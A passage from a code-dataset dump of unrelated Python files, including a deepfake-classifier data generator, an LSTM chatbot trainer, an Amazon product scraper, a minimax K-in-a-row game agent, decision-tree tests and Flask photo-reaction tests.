images to be used as first images in each of the next\n batch_size examples.\n\n Returns\n -------\n X : the next batch of examples\n y : the labels associated to the examples\n \"\"\"\n labels = []\n examples = []\n\n for index in indexes:\n label_path = os.path.join(\n self.root_path, str(\n index[0]), \"metadata.json\")\n json_file = open(label_path)\n metadata = json.load(json_file)\n label = metadata[\"fake\"]\n val = np.zeros((1, 1))\n if label == 'True':\n val[0][0] = 0\n else:\n val[0][0] = 1\n labels.append(val)\n\n examples.append([self.__single_data_generation(\n index[0], index[1] + i) for i in range(self.nb_img)])\n\n X = [np.concatenate([example[i] for example in examples])\n for i in range(self.nb_img)]\n y = np.concatenate([label for label in labels], axis=0)\n return X, y\n\n def __single_data_generation(self, file, index):\n \"\"\"\n Builds a single example\n\n Parameters\n ----------\n file : directory of the first image used to build the example\n index : id of the image in the directory\n\n Returns\n -------\n example : a list of nb_img images\n \"\"\"\n example_path = os.path.join(\n self.root_path, str(file), f\"crop_{index:02d}.png\")\n example = self.format_image_classif(example_path)[0]\n return example\n\n def __visualisation__(self, file):\n \"\"\"\n This function returns visualisation ready images from a given directory\n\n Parameters\n ----------\n file : the directory to explore\n\n Returns\n -------\n X : the next batch of examples\n Xvis : the corresponding list of RGB images for visualisation\n y : the labels associated to the examples\n \"\"\"\n index = 0\n for f in self.list_IDs:\n if (f == file):\n break\n index += 1\n\n labels = []\n examples = []\n\n for k in range(self.file_indexes[index]):\n label_path = os.path.join(\n self.root_path, str(file), \"metadata.json\")\n json_file = open(label_path)\n metadata = json.load(json_file)\n label = metadata[\"fake\"]\n val = np.zeros((1, 1))\n if label == 'True':\n val[0][0] = 0\n else:\n val[0][0] = 1\n labels.append(val)\n\n examples.append([self.__single_visualisation_generation(\n file, k + i) for i in range(self.nb_img)])\n\n X = [np.concatenate([example[i][0] for example in examples])\n for i in range(self.nb_img)]\n Xvis = [example[0][1] for example in examples]\n y = np.concatenate([label for label in labels], axis=0)\n return X, Xvis, y\n\n def __single_visualisation_generation(self, file, index):\n \"\"\"\n This function generates a single example and images which can be\n visualised.\n\n Parameters\n ----------\n file : directory of the first image used to build the example\n index : id of the image in the directory\n\n Returns\n -------\n example : a list of nb_img images with their visualisation\n \"\"\"\n example_path = os.path.join(\n self.root_path, str(file), f\"crop_{index:02d}.png\")\n example = self.format_image_classif(example_path)\n return example\n\n def format_image_classif(self, img_file):\n \"\"\"\n This function reads and formats an image so that it can be fed to the xception network.\n In this case, we wish to force the image size to a certain shape, since we want to use the image for\n classification\n\n Parameters\n ----------\n img_file : image file name\n img_width : the target image width\n img_height : he target image height\n\n Returns\n -------\n img_out_xception : the correctly formatted image for xception\n img : the image as read by the load_img function of keras.preprocessing.image\n \"\"\"\n img_width = self.img_width\n img_height = self.img_height\n # read image. Force the image size to a certain shape (uses a resize of\n # the pillow package)\n img = load_img(img_file, target_size=(img_height, img_width))\n # convert image to an array\n img_out = img_to_array(img)\n # preprocess the image to put in the correct format for use with the\n # xception network trained on imagenet\n img_out_xception = xception.preprocess_input(img_out)\n # add a dimension at the beginning, coresponding to the batch dimension\n img_out_xception = np.expand_dims(img_out_xception, axis=0)\n return img_out_xception, img\n","repo_name":"thibaultdalmon/DeepLearningForSecurity","sub_path":"datagenerator.py","file_name":"datagenerator.py","file_ext":"py","file_size_in_byte":8349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42446267658","text":"import pytest\nfrom babelfish import Language as BabelLang # type: ignore\n\nfrom mnamer.language import Language\n\n\n@pytest.mark.parametrize(\"value\", (\"english\", \"en\", \"eng\"))\ndef test_language_parse__str(value):\n expected = Language(\"English\", \"en\", \"eng\")\n actual = Language.parse(value)\n assert actual == expected\n\n\ndef test_language_parse__bl():\n expected = Language(\"English\", \"en\", \"eng\")\n actual = Language.parse(BabelLang(\"eng\"))\n assert actual == expected\n\n\ndef test_language_all():\n expected = (\n Language(\"Arabic\", \"ar\", \"ara\"),\n Language(\"Chinese\", \"zh\", \"zho\"),\n Language(\"Croatian\", \"hr\", \"hrv\"),\n Language(\"Czech\", \"cs\", \"ces\"),\n Language(\"Danish\", \"da\", \"dan\"),\n Language(\"English\", \"en\", \"eng\"),\n Language(\"French\", \"fr\", \"fra\"),\n Language(\"German\", \"de\", \"deu\"),\n Language(\"Greek\", \"el\", \"ell\"),\n Language(\"Hebrew\", \"he\", \"heb\"),\n Language(\"Hindi\", \"hi\", \"hin\"),\n Language(\"Italian\", \"it\", \"ita\"),\n Language(\"Japanese\", \"ja\", \"jpn\"),\n Language(\"Korean\", \"ko\", \"kor\"),\n Language(\"Latin\", \"la\", \"lat\"),\n Language(\"Persian\", \"fa\", \"fas\"),\n Language(\"Portuguese\", \"pt\", \"por\"),\n Language(\"Russian\", \"ru\", \"rus\"),\n Language(\"Slovenian\", \"sl\", \"slv\"),\n Language(\"Spanish\", \"es\", \"spa\"),\n Language(\"Swedish\", \"sv\", \"swe\"),\n Language(\"Turkish\", \"tr\", \"tur\"),\n Language(\"Ukrainian\", \"uk\", \"ukr\"),\n )\n actual = Language.all()\n assert actual == expected\n","repo_name":"jkwill87/mnamer","sub_path":"tests/local/test_language.py","file_name":"test_language.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":663,"dataset":"github-code","pt":"7"} +{"seq_id":"71254450785","text":"from keras.models import Sequential\nfrom keras.layers import Activation, TimeDistributed, Dense, RepeatVector, Embedding\nfrom keras.layers.recurrent import LSTM\nfrom keras import backend as K\nimport json, random, os\nimport utilities.Utilities as Utilities\n\nMainPath = 'C:/Users/Francesco/Desktop/chatbot/'\npath = MainPath + 'chatbot_data/data/'\nwith open(path + 'DataDizYN.json', 'r') as f: DataDizYN = json.load(f)\n\n# Select Num of observations used for training the Model\nData = [(\n DataDizYN[k]['question'],\n DataDizYN[k]['domain'][0],\n DataDizYN[k]['relation'],\n DataDizYN[k]['answer']\n ) \n for k in sorted(DataDizYN.keys())]\n\nData = sorted(set([(x + ' | ' + y + ' | ' + w, z) for x, y, w, z in Data]))\n\n# set model\nModel = Utilities.LSTMModel()\nModel.process_dataset(Data, 1)\n\n# Initialization NN\nhidden_size = 128\nbatch_size = 256\nAtTime = len(Data)\nembedding_length = 10**2\n\n# Create NN-Architecture\nepochs = 5\nModelPath = MainPath + 'chatbot_data/models/'\n\nK.clear_session()\nif 'PredictYN.keras' not in os.listdir(ModelPath):\n Model.model = Sequential()\n Model.model.add(Embedding(Model.X_vocab_len,\n embedding_length,\n input_length=Model.X_max_len,\n mask_zero=True))\n\n Model.model.add(LSTM(hidden_size))\n Model.model.add(RepeatVector(Model.Y_max_len))\n Model.model.add(TimeDistributed(Dense(Model.Y_vocab_len)))\n Model.model.add(Activation('softmax'))\n\n Model.model.compile(loss='categorical_crossentropy',\n optimizer='rmsprop',\n metrics=['accuracy'])\n\n # Train and Save\n Model.train_model(batch_size=batch_size, epochs=epochs)\n Model.save('PredictYN', 'DataForPredictionYN', ModelPath)\nelse:\n from keras.models import load_model\n Model.model = load_model(ModelPath + 'PredictYN.keras')\n Model.train_model(batch_size=batch_size, epochs=epochs)\n\n","repo_name":"FraFabbri/bazingabot","sub_path":"chatbot_data/prediction_scripts/PredictYN.py","file_name":"PredictYN.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"32686253699","text":"import numpy\r\nimport matplotlib.pyplot\r\nimport time\r\nfrom lxml import etree\r\nimport requests\r\nfrom myPymysql import DBHelper\r\nimport random\r\nstart = \"https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&field-keywords=skirt&rh=i%3Aaps%2Ck%3Askirt\"\r\n\r\nstart = 'https://www.amazon.com/s/ref=sr_pg_{}?fst=p90x%3A1%2Cas%3Aon&rh=k%3Askirt%2Cn%3A7141123011%2Cn%3A7147440011%2Cn%3A1040660%2Cn%3A1045022&page={}&keywords=skirt&ie=UTF8&qid=1525325330'\r\n\r\nstart = 'https://www.amazon.com/s/ref=sr_pg_{}?page={}&keywords=skirt'# accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n# accept-encoding:gzip, deflate, sdch, br\r\n# accept-language:zh-CN,zh;q=0.8\r\n\r\n# start = \"https://www.amazon.com/s/ref=sr_pg_3/140-4081174-0214411?page={}&keywords=skirt\"\r\nuser_agent = \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0\"\r\nheaders = {'User-Agent':user_agent,\r\n 'accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\r\n 'accept-language':'zh-CN,zh;q=0.8',\r\n 'accept-encoding':'gzip, deflate, sdch, br'}\r\n# 获取页面信息\r\ndef get_html(url):\r\n headers = {'Referer':url,'User-Agent':user_agent}\r\n try:\r\n r = requests.get(url,headers=headers)\r\n r.status_code\r\n except Exception as e:\r\n print(e)\r\n else:\r\n r.encoding = r.apparent_encoding\r\n return r.text\r\ndef parse(html):\r\n node = []\r\n html = etree.HTML(html)\r\n # class =\"pagnDisabled\"\r\n results = html.xpath(\r\n '//a[@class=\"a-link-normal s-access-detail-page s-color-twister-title-link a-text-normal\"]/@href')\r\n print('results-------------', len(results))\r\n for i in results:\r\n i = i.strip()\r\n if 'https' != i[:5]:\r\n i = 'https://www.amazon.com' + i\r\n node.append(i)\r\n return node\r\n\r\ndef parse_goods(html):\r\n dbhelper = DBHelper()\r\n item = {}\r\n html = etree.HTML(html)\r\n item['ProductTitle'],item['SellersRank'], item['EvaluationNum'], item['AnswerNum'], item['ShelfTime'] ,item['ReviewList']= \\\r\n None,None, None, None, None,[]\r\n max_num = None\r\n item['star']=None\r\n star = html.xpath('//span[@id=\"acrPopover\"]//span[@class=\"a-icon-alt\"]/text()')\r\n if star:\r\n item['star']=star[0].strip()\r\n productTitle = html.xpath(\"//span[@id='productTitle']/text()\")\r\n if productTitle:\r\n item['ProductTitle'] = productTitle[0].strip()\r\n price = html.xpath(\"//span[@id='priceblock_ourprice']/text()\")\r\n if price:\r\n item['Price'] = price[0].strip()\r\n else:\r\n return\r\n sellersrank = html.xpath(\"//li[@id='SalesRank']/text()\")\r\n if len(sellersrank) >= 2:\r\n seller = sellersrank[1].strip()[:-1]\r\n seller = seller.split(' in')\r\n item['SellersRank'] =''.join(seller[0][1:].split(','))\r\n # print(html.xpath(\"//span[@id='acrCustomerReviewText']/text()\"))\r\n else:\r\n return\r\n\r\n evaluationnum = html.xpath(\"//span[@id='acrCustomerReviewText']/text()\")\r\n if evaluationnum:\r\n item['EvaluationNum'] = evaluationnum[0].strip()\r\n shelftime = html.xpath('//div[@id=\"detailBullets_feature_div\"]//li[last()]/span/span[last()]/text()')\r\n\r\n if shelftime:\r\n item['ShelfTime'] = shelftime[0].strip()\r\n\r\n answer = html.xpath(\"//a[@id='askATFLink']/span/text()\")\r\n\r\n if answer:\r\n item['AnswerNum'] = html.xpath(\"//a[@id='askATFLink']/span/text()\")[0].strip()\r\n print(item)\r\n if item['SellersRank'] and item['EvaluationNum'] and \\\r\n item['ShelfTime'] and item['star']:\r\n sql = 'insert into amazon01(Rank, ProductTitle,reviewNumber,Price,AnswerNum,ShelfTime,star)\\\r\n values(%s,%s,%s,%s,%s,%s,%s)'\r\n params = (item['SellersRank'],item['ProductTitle'],item['EvaluationNum'],\r\n item['Price'],item['AnswerNum'],item['ShelfTime'],item['star'])\r\n dbhelper.execute(sql,params)\r\n print(item['SellersRank']+':插入成功')\r\n else:\r\n return\r\n \r\n\r\n if evaluationnum:\r\n item['EvaluationNum'] = evaluationnum[0].strip()\r\n # review_url = html.xpath('//a[@id=\"dp-summary-see-all-reviews\"]/@href')\r\n # if review_url:\r\n # review_start = 'https://www.amazon.com' + review_url[0]\r\n # # print(review_start)\r\n # answer = get_html(review_start)\r\n # answer = etree.HTML(answer)\r\n # page = answer.xpath('//li[@class=\"page-button\"]')\r\n # if page:\r\n # max_number = 1\r\n # max_num = page[-1].xpath(\"a/text()\")\r\n # if max_num: \r\n # max_number = int(max_num[0])\r\n # # M_Rank primary key, review_start ,max_number\r\n # print(type(max_number),max_number)\r\n # sql = 'insert into middle(M_Rank,start,number) values(%s,%s,%r)'\r\n # params = (item['SellersRank'],review_start,max_number)\r\n # dbhelper.execute(sql,params) \r\n\r\n # print(str(item['SellersRank'])+'middle url 插入成功。')\r\n # else:\r\n # print(str(item['SellersRank'])+'middle url没有插入。')\r\n # 插入数据库 \r\n# {'SellersRank': '#27,860 in Clothing, Shoes & Jewelry ',\r\n# 'EvaluationNum': '78 customer reviews',\r\n# 'AnswerNum': '15 answered questions',\r\n# 'ShelfTime': 'June 23, 2017',\r\n# 'ProductTitle': \"Janmid Women's High Waisted A Line Street Skirt Skater Pleated Full Midi Skirt\",\r\n# 'Price': '$16.99',\r\ndef parse_review(url):\r\n star, title, body,stblist=None,None,None,[]\r\n html = get_html(url)\r\n html = etree.HTML(html)\r\n answers = html.xpath('//div[@id=\"cm_cr-review_list\"]/div[@id]/div[@class=\"a-section celwidget\"]')\r\n for answer in answers:\r\n star = answer.xpath('./div[@class=\"a-row\"]/a[@class=\"a-link-normal\"]/@title')\r\n # if star:\r\n # print(star[0])\r\n title = answer.xpath('./div[@class=\"a-row\"]/a[@data-hook=\"review-title\"]/text()')\r\n # if title: \r\n # print(title[0])\r\n body = answer.xpath('./div[@class=\"a-row review-data\"]/span/text()')\r\n # if body:\r\n # print(body[0])\r\n if body and title and star:\r\n stblist.append({'star':star[0],'title':title[0],'body':body[0]})\r\n return stblist\r\nif __name__ ==\"__main__\":\r\n for i in range(1,99):\r\n print('正在查询'+str(i) + '页')\r\n url = start.format(i,i)\r\n print(url)\r\n html =get_html(url)\r\n goodslist = parse(html)\r\n for goods_url in goodslist:\r\n goods_html = get_html(goods_url)\r\n parse_goods(goods_html)\r\n time.sleep(random.randint(3,6))\r\n\r\n print()\r\n time.sleep(28)\r\n\r\n","repo_name":"greenapple01/apple","sub_path":"amazon.py","file_name":"amazon.py","file_ext":"py","file_size_in_byte":6740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21822656414","text":"from ..computation import Transformer\nfrom ..data import Collection\n\nfrom .util import mask_nan\n\n\nclass SIUnits(Transformer):\n\n @staticmethod\n def apply(x):\n if x.unit is None:\n return x\n else:\n si_unit = x.unit.to_base_units()\n if x.unit == si_unit:\n return x\n else:\n values = mask_nan(x) * x.unit\n return Collection.from_array(\n values.to(si_unit).values,\n time=x.time,\n dims=x.dims\n )\n\n @staticmethod\n def unit(x):\n return x.unit.to_base_units()\n","repo_name":"arnedb/tsfuse","sub_path":"tsfuse/transformers/conversion.py","file_name":"conversion.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"7"} +{"seq_id":"22194626923","text":"import pandas as pd\r\nfrom scipy.stats import pearsonr\r\nimport statsmodels.tsa.stattools as smt\r\nfrom matplotlib import pyplot as plt\r\nimport config as cfg\r\n\r\n'''\r\nanalyze_metrics\r\n\r\nThis script produces some reports and figures pertaining to each metric.\r\n\r\n'''\r\n\r\n\r\ncl = pd.read_csv(cfg.interim_path + 'cl_train12.csv', index_col='Year_Month')\r\npl = pd.read_csv(cfg.interim_path + 'pl_train12.csv', index_col='Year_Month')\r\n\r\n# generate correlation and covariance matrices\r\ncl.corr().to_csv(cfg.reports_path + 'cl_corr_matrix.csv')\r\ncl.cov().to_csv(cfg.reports_path + 'cl_cov_matrix.csv')\r\npl.corr().to_csv(cfg.reports_path + 'pl_corr_matrix.csv')\r\npl.cov().to_csv(cfg.reports_path + 'pl_cov_matrix.csv')\r\n\r\nfor line in [(cl, 'cl'), (pl, 'pl')]:\r\n\r\n df = line[0]\r\n metrics = df.columns\r\n metrics = metrics.drop(['Total Revenue 12'])\r\n results = pd.DataFrame({'Metric': pd.Series(metrics)})\r\n\r\n for metric in metrics:\r\n # correlation with future rev\r\n results.loc[results['Metric'] == metric, 'Mean'] = df[metric].mean()\r\n results.loc[results['Metric'] == metric, 'Stdev'] = df[metric].std()\r\n dropped_na = df[[metric, \"Total Revenue 12\"]].dropna()\r\n corr = pearsonr(dropped_na[metric], dropped_na['Total Revenue 12'])\r\n results.loc[results['Metric'] == metric, 'Correlation with Total Rev 12 Mo Ahead'] = corr[0]\r\n results.loc[results['Metric'] == metric, 'p'] = corr[1]\r\n\r\n # metric distribution\r\n plt.hist(dropped_na[metric])\r\n plt.title(line[1] + ' ' + metric + ' distribution')\r\n plt.savefig(cfg.reports_path + 'distributions/' + line[1] + '/' + metric + '.png')\r\n plt.close()\r\n\r\n # CCF\r\n conf95 = 2 / (dropped_na.shape[0] ** 0.5)\r\n ccf = smt.ccf(dropped_na['Total Revenue 12'], dropped_na[metric], adjusted=False)\r\n #fig, ax = plt.subplots()\r\n #ax.xcorr(dropped_na['Total Revenue'], dropped_na[metric])\r\n ##plt.show()\r\n plt.stem(ccf[:36], basefmt='C2')\r\n plt.grid(True)\r\n plt.title(line[1] + ' CCF: ' + metric + ' and Revenue 12 Mo Ahead')\r\n #baseline.color = 'blue'\r\n plt.hlines([(-1 * conf95), conf95], xmin=0, xmax=36, colors='red')\r\n plt.savefig(cfg.reports_path + 'ccf_plots/' + line[1] + '/' + metric + '.png')\r\n plt.close()\r\n\r\n results.to_csv(cfg.reports_path + line[1] + '_feature_stats.csv', index=False)\r\n","repo_name":"asadTariq666/Python_work","sub_path":"Test/src/analyze_metrics.py","file_name":"analyze_metrics.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72943480862","text":"'''wangyicKInARow.py\nYichao Wang\nCSE 415 Assignment 5\nA K-in-a-Row with Forbidden Squares game agent with mean and pride personality.\n'''\nimport time\n\nK = 1\nsidePlaying = \"\"\nopponent = \"\"\nrow = 0\ncol = 0\n\n\n# prepare for the game\ndef prepare(initial_state, k, what_side_I_play, opponent_nickname):\n global K, sidePlaying, opponent, row, col\n K = k\n sidePlaying = what_side_I_play\n opponent = opponent_nickname\n \n row = len(initial_state[0])\n col = len(initial_state[0][0])\n\n return \"OK\"\n\n# game agent's introduction\ndef introduce():\n return '''My name is Blank. My creator is wangyic(Yichao Wang). I am mean and pride. I am invincible.'''\n\n# game agent's nickname\ndef nickname():\n return 'Blank'\n\n# make a possible move with given state. Return move, state, and remark\ndef makeMove(currentState, currentRemark, timeLimit=10000):\n newVal, newState = minimax(currentState, 1, time.time(), timeLimit)\n return [[getMove(currentState, newState), newState], utterances(newVal)]\n\n# get different coordinates between two states\ndef getMove(currentState, newState):\n for i in range(row):\n for j in range(col):\n if currentState[0][i][j] != newState[0][i][j]:\n return [i,j]\n\n# minimax algorithm to find best suitable static evaluation value and state based on side playing\ndef minimax(state, plyLeft, startTime, timeLimit):\n if plyLeft == 0: return [staticEval(state), state]\n if sidePlaying == \"X\":\n provisional = -1000000000\n else:\n provisional = 1000000000\n resultState = state\n successorDict = getSuccessor(state)\n for s in successorDict:\n newVal, newState = minimax(s, plyLeft - 1, startTime, timeLimit)\n if (sidePlaying == \"X\" and newVal >= provisional) or (sidePlaying == \"O\" and newVal <= provisional):\n provisional = newVal\n resultState = newState\n if time.time() - startTime >= timeLimit * 0.9:\n return [provisional, resultState]\n return [provisional, resultState]\n\n# get successors for the given state\nfrom copy import deepcopy\ndef getSuccessor(state):\n successorList = []\n for i in range(row):\n for j in range(col):\n if state[0][i][j] == \" \":\n successorBoard = deepcopy(state[0])\n successorBoard[i][j] = state[1]\n if state[1] == \"X\":\n successorList.append([successorBoard, \"O\"])\n else:\n successorList.append([successorBoard, \"X\"])\n return successorList\n\n# return remark based on given static evaluation value\ndef utterances(val):\n if sidePlaying == 'O': val = -val\n if val == 0: return opponent + \", you will never win.\"\n if val > 0 and val < 1000: return opponent + \", you will lose soon.\"\n if val > 0 and val < 1000000: return opponent + \", you can give up now.\"\n if val >= 1000000 * K: return \"That was easy.\"\n if val < 0 and val > -1000000: return \"This should never happen.\"\n return \"asdcfnlhu2iqn34ilhmxiluasdfhmuil213?????\"\n\n# value returned is high if the given state is good for \"X\";\n# low if the given state is good for \"O\"\ndef staticEval(state):\n board = state[0]\n val = 0\n # consecutive count of \"X\" or \"O\"\n xCount = 0\n oCount = 0\n # occurence of \"X\" or \"O\"\n xOccur = 0 \n oOccur = 0\n # potential count of \"X\" or \"O\"\n xPotential = 0\n oPotential = 0\n\n # check status in each row\n if K <= row:\n for m in board:\n hasX = False\n hasO = False\n # check for rows\n for n in m: \n if n != '-':\n xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount = \\\n evaluate(n, xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount)\n # decide win or lose\n if xCount == K:\n return 1000000 * K\n if oCount == K:\n return -1000000 * K\n # calculate val\n if xOccur >= K - 2 and xPotential >= K:\n val += 500 * xOccur * xPotential\n if oOccur >= K - 2 and oPotential >= K:\n val -= 500 * oOccur * oPotential\n if hasX and xPotential >= K:\n val += 10 * (K) * xOccur\n if hasO and oPotential >= K:\n val -= 10 * (K) * oOccur\n xCount, oCount, xOccur, oOccur, xPotential, oPotential = [0] * 6\n # check status in each column\n if K <= row:\n for i in range(col):\n hasX = False\n hasO = False\n for j in range(row):\n n = board[j][i]\n if n != '-':\n xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount = \\\n evaluate(n, xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount)\n # decide win or lose\n if xCount == K:\n return 1000000 * K\n if oCount == K:\n return -1000000 * K\n # calculate val\n if xOccur >= K - 2 and xPotential >= K:\n val += 500 * xOccur * xPotential\n if oOccur >= K - 2 and oPotential >= K:\n val -= 500 * oOccur * oPotential\n if hasX and xPotential >= K:\n val += 10 * (K) * xOccur\n if hasO and oPotential >= K:\n val -= 10 * (K) * oOccur\n xCount, oCount, xOccur, oOccur, xPotential, oPotential = [0] * 6\n #check status for diagonal\n if K <= row and K <= col:\n # check diagonal\n for i in range(col-1,-1,-1):\n hasX = False\n hasO = False\n for j in range(row):\n if i + j < col:\n n = board[j][i+j]\n if n != '-':\n xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount = \\\n evaluate(n, xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount)\n # decide win or lose\n if xCount == K:\n return 1000000 * K\n if oCount == K:\n return -1000000 * K\n # calculate val\n if xOccur >= K - 2 and xPotential >= K:\n val += 500 * xOccur * xPotential\n if oOccur >= K - 2 and oPotential >= K:\n val -= 500 * oOccur * oPotential\n if hasX and xPotential >= K:\n val += 10 * (K) * xOccur\n if hasO and oPotential >= K:\n val -= 10 * (K) * oOccur\n xCount, oCount, xOccur, oOccur, xPotential, oPotential = [0] * 6\n for i in range(row):\n hasX = False\n hasO = False\n j = i\n for k in range(col):\n if j < row:\n n = board[j][k]\n if n != '-':\n xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount = \\\n evaluate(n, xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount)\n # decide win or lose\n if xCount == K:\n return 1000000 * K\n if oCount == K:\n return -1000000 * K\n j += 1\n\n # calculate val\n if xOccur >= K - 2 and xPotential >= K:\n val += 500 * xOccur * xPotential\n if oOccur >= K - 2 and oPotential >= K:\n val -= 500 * oOccur * oPotential\n if hasX and xPotential >= K:\n val += 10 * (K) * xOccur\n if hasO and oPotential >= K:\n val -= 10 * (K) * oOccur\n xCount, oCount, xOccur, oOccur, xPotential, oPotential = [0] * 6\n # check anti diagonal\n for i in range(col):\n hasX = False\n hasO = False\n y = i\n x = 0\n while y >= 0 and x < row:\n n = board[x][y]\n if n != '-':\n xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount = \\\n evaluate(n, xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount)\n # decide win or lose\n if xCount == K:\n return 1000000 * K\n if oCount == K:\n return -1000000 * K\n x += 1\n y -= 1\n # calculate val\n if xOccur >= K - 2 and xPotential >= K:\n val += 500 * xOccur * xPotential\n if oOccur >= K - 2 and oPotential >= K:\n val -= 500 * oOccur * oPotential\n if hasX and xPotential >= K:\n val += 10 * (K) * xOccur\n if hasO and oPotential >= K:\n val -= 10 * (K) * oOccur\n xCount, oCount, xOccur, oOccur, xPotential, oPotential = [0] * 6\n\n for i in range(row):\n x = i\n y = col - 1\n while x < row:\n n = board[x][y]\n if n != '-':\n xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount = \\\n evaluate(n, xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount)\n # decide win or lose\n if xCount == K:\n return 1000000 * K\n if oCount == K:\n return -1000000 * K\n x += 1\n y -= 1 \n # calculate val \n if xOccur >= K - 2 and xPotential >= K:\n val += 500 * xOccur * xPotential\n if oOccur >= K - 2 and oPotential >= K:\n val -= 500 * oOccur * oPotential\n if hasX and xPotential >= K:\n val += 10 * (K) * xOccur\n if hasO and oPotential >= K:\n val -= 10 * (K) * oOccur\n xCount, oCount, xOccur, oOccur, xPotential, oPotential = [0] * 6\n\n return val\n\n# staticEval help function\ndef evaluate(n, xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount):\n # check for blank\n if n == ' ':\n xPotential += 1\n oPotential += 1\n # check for X\n if n == 'X': \n hasX = True\n xOccur += 1\n xCount += 1\n xPotential += 1\n if oPotential < K:\n oPotential = 0\n else:\n xCount = 0\n\n # check for O\n if n == 'O':\n hasO = True\n oOccur += 1\n oCount += 1\n oPotential += 1\n if xPotential < K:\n xPotential = 0\n else:\n oCount = 0\n \n return [xPotential, oPotential, hasX, hasO , xOccur, oOccur, xCount, oCount]","repo_name":"johnnyxcy/SchoolWorks","sub_path":"2017Autumn/CSE415/H5/wangyicKInARow.py","file_name":"wangyicKInARow.py","file_ext":"py","file_size_in_byte":10837,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"75038345823","text":"from treeDecision import DecisionTreeCF, DecisionTreeReg\nfrom sklearn.model_selection import train_test_split\nfrom graph_tree import get_graph\nimport numpy as np\n\ndef test_clf():\n X = []\n y = []\n #тест на Ирисах\n with open('iris.csv') as file:\n file.readline()\n for data in file.readlines():\n str_ = data.strip().split(',')\n X.append(list(map(float, str_[1:5])))\n y.append(int(str_[5]))\n\n clf = DecisionTreeCF(max_depth=4)\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.2)\n\n clf.fit(X_train, y_train)\n # посмотрим на дерево:\n get_graph(clf.tree, filename='my_tree_clf.gv', feature_names=['sepal_length','sepal_width','petal_length','petal_width'])\n\n res = clf.predict(X_test)\n print('accuracy_score = ', clf.accuracy(y_test, res))\n\ndef test_regres():\n X = []\n y = []\n with open('boston.csv') as file:\n file.readline()\n for data in file.readlines():\n str_ = data.strip().split(',')\n X.append(list(map(float, str_[1:14])))\n y.append(float(str_[14]))\n\n clf = DecisionTreeReg(max_depth=4)\n #\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.2)\n\n clf.fit(X_train, y_train)\n\n get_graph(clf.tree, filename='my_tree_reg.gv', feature_names=['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS' , 'RAD','TAX', 'PTRATIO', 'B', 'LSTAT'])\n res = clf.predict(X_test)\n print(\"mse_score = \", clf.mse(y_test, res))\n\nif __name__=='__main__':\n test_clf()\n test_regres()","repo_name":"ulymovne/myDtree","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15280901851","text":"import unittest\nfrom http import HTTPStatus\nfrom unittest import mock\n\nimport pytest\n\nfrom src.models import User\nfrom src.models.photo import Photo\n\n\n@pytest.mark.usefixtures('client')\nclass ReactionViewTest(unittest.TestCase):\n def setUp(self):\n self.photo_1_id = Photo.insert_one(url='url', author='um', is_approved=True, comments=[], likes=0)\n\n def tearDown(self):\n Photo.delete_one(self.photo_1_id)\n\n def test_when_user_comment_photo_then_status_code_ok(self):\n # Arrange\n data = {\n 'comment': 'Awesome',\n }\n expected = HTTPStatus.OK\n\n # Act\n response = self.client.put(f'/photos/{self.photo_1_id}/reactions/', json=data)\n\n # Assert\n self.assertEqual(expected, response.status_code)\n photo = Photo.find_one(_id=self.photo_1_id)\n self.assertIn('Awesome', photo.comments)\n\n def test_when_user_liked_photo_then_status_code_ok(self):\n # Arrange\n data = {\n 'like': True,\n }\n expected = HTTPStatus.OK\n expected_likes = 1\n\n # Act\n response = self.client.put(f'/photos/{self.photo_1_id}/reactions/', json=data)\n\n # Assert\n self.assertEqual(expected, response.status_code)\n photo = Photo.find_one(_id=self.photo_1_id)\n self.assertEqual(expected_likes, photo.likes)\n","repo_name":"ThamiresSchifini/weddingGallery","sub_path":"tests/views/test_reaction_view.py","file_name":"test_reaction_view.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"27363443092","text":"import numpy as np\nfrom typing import List, Sequence\n\nfrom ..utils.check_variable import (\n check_O1_range, check_int_positive, check_all_int_positive,\n check_is_leq,\n)\nfrom ..utils.sorted_lists import has_element, get_common_elements\nfrom ..utils.lists import union_intervals, intersection_intervals\n\nclass Component():\n \"\"\"\n Base class for Vertex and Edge, components of a PersistentGraph\n \"\"\"\n\n key_incr:int = 0\n\n @staticmethod\n def ratio_intersection(\n ratios1: 